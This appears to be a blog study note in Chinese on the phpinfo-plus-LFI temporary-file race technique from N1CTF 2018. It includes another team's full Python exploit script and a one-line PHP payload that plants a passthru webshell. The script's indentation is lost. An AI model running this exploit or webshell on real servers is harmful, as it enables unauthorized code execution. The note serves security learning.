WEB-基于phpinfo的包含临时文件

— 从零开始的笔记 —
— phpinfo+LFI —

基于phpinfo的包含临时文件

从N1CTF ezphp 的非预期解中知道的漏洞
开始找资料学习

利用前提

  • LFI文件包含漏洞
  • 一个服务端的phpinfo页面

原理

先了解文件上传流程

10.png

向服务器上任意php文件以multipart/form-data方式提交请求上传数据时,会生成临时文件,也就是说不需要一定有显性的上传功能也可以上传生成临时文件。

下面向我们有的phpinfo页面以multipart/form-data方式提交文件

1.png

要注意的是 在multipart/form-data方式中,作为分割用的boundary字符串比定义处前面多两个--

查看结果,会有在通常GET请求中没看见的参数$_FILES

2.png

phpinfo中的 upload_tmp_dir 可以查看临时文件存放的文件夹,但是文件名是随机的,所以不能利用
如果 php.ini 没有设置 upload_tmp_dir,那么默认 php 进程会读写系统的临时目录
(Windows 默认为 C:/windows/temp,Linux 为 /tmp)
另外$_FILES 是在运行中作为环境参数产生的,所以在我们平常中访问的phpinfo()不会包含$_FILES

接下来通过phpinfo中的$_FILES来获取临时文件的路径以及名称
假如上传的临时文件是木马文件,在被删除之前的极短时间之内,需要与服务器竞争时间包含木马文件,当然包含木马文件得到webshell不太现实,可以让木马文件重新生成一个shell文件或者提供一个反弹shell。

脚本竞争包含上传的木马文件

根据以下原理,来构建脚本

  • 通过分块传输编码,提前获知临时文件名称;
    分块传输可以实现在未完全传输完成时即可获知临时文件名,可以尽早发起文件包含请求,赶在删除之前执行代码。
  • 通过增加临时文件名后数据长度来延长时间;
    通过观察PHPinfo的信息,在$_FILES信息下面,还有请求头的相关信息,我们可以在请求的时候,通过填充大量无用数据,来增加后面数据的长度,从而增加脚本的处理时间,为包含文件争取更多的时间。
  • 通过大量请求来延迟PHP脚本的执行速度。
    通过大量的并发请求,提高成功的概率。

本机虚拟机测试,无限失败,原因不明
自己写的脚本与他人成功的脚本都尝试过,无果,可能跟虚拟机环境有关系
贴出他人成功的脚本

PS.写脚本时,发现python多线程时,不好在线程外读文件,在多个线程内使用这个文件,没有找到官方解释,可能是内存变动的原因

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
## PHP : Winning the race condition vs Temporary File Upload - PHPInfo() exploit
# Alternative way to easy_php @ N1CTF2018, solved by intrd & shrimpgo - p4f team
# @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/

## shell.txt payload content
# <?php $c=fopen('shell.php','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>

import sys,Queue,threading,hashlib,os, requests, pickle, os.path, re
from subprocess import Popen, PIPE, STDOUT

NumOfThreads=100
queue = Queue.Queue()

class checkHash(threading.Thread):
def __init__(self,queue):
threading.Thread.__init__(self)
self.queue=queue
def run(self):
i=0
while True:
self.clear=self.queue.get()
passtry = self.clear
if passtry != "":

padding="A" * 8000

cookies = {
'PHPSESSID': 'o99quh47clk8br394298tkv5o0',
'othercookie': padding
}

headers = {
'User-Agent': padding,
'Pragma': padding,
'Accept': padding,
'Accept-Language': padding,
'DNT': '1'
}

files = {'arquivo': open('shell.txt','rb')}

reqs='http://192.168.1.23/phpinfo.php?a='+padding
#reqs='http://172.17.0.2:80/index.php?action=../../var/www/phpinfo/index.php&a='+padding
response = requests.post(reqs, headers=headers, cookies=cookies, files=files, verify=False)
data = response.content
data = re.search(r"(?<=tmp_name] =&gt; ).*", data).group(0)
print data

reqs = 'http://192.168.1.23/lfi.php?action=../..'+data
#reqs = 'http://172.17.0.2:80/index.php?action=../..'+data
print reqs
response = requests.get(reqs, verify=False)
data = response.content
print data

i+=1
self.queue.task_done()

for i in range(NumOfThreads):
t=checkHash(queue)
t.setDaemon(True)
t.start()

for x in range(0, 9999):
x=str(x)
queue.put(x.strip())

queue.join()

参考
https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
http://dann.com.br/php-winning-the-race-condition-vs-temporary-file-upload-alternative-way-to-easy_php-n1ctf2018/
http://www.freebuf.com/articles/web/79830.html